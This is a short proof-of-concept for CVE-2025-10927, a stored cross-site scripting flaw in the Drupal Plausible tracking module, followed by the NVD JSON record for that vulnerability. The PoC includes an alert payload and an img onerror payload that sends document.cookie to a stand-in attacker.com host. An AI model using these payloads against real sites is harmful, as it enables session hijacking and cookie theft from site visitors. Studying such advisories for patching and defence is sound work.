CVE-2025-10927

<!-- CVE-2025-10927 PoC - Stored XSS in Drupal Plausible tracking --> <!-- Attacker injects malicious script via Plausible tracking parameters --> <script> // Simulate XSS payload injection const xssPayload = '<script>alert(String.fromCharCode(88,83,83,32,67,86,69,45,50,48,50,53,45,49,48,57,50,55));</script>'; // Example: Modifying Plausible configuration or injecting via tracking endpoint const targetUrl = 'https://vulnerable-site.com'; // PoC demonstrates that user-supplied input in Plausible tracking // is not properly sanitized before being rendered in the page console.log('XSS payload prepared:', xssPayload); // In real attack, this payload would be sent to the vulnerable endpoint // and stored in the database, executing when other users view the page </script> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

{"cve": {"id": "CVE-2025-10927", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:33.953", "lastModified": "2025-12-12T17:55:02.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Plausible tracking allows Cross-Site Scripting (XSS).This issue affects Plausible tracking: from 0.0.0 before 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plausible_tracking_project:plausible_tracking:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.0.2", "matchCriteriaId": "60F886DA-41D7-4F3C-89FE-4B5FC7EA726D"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-107", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}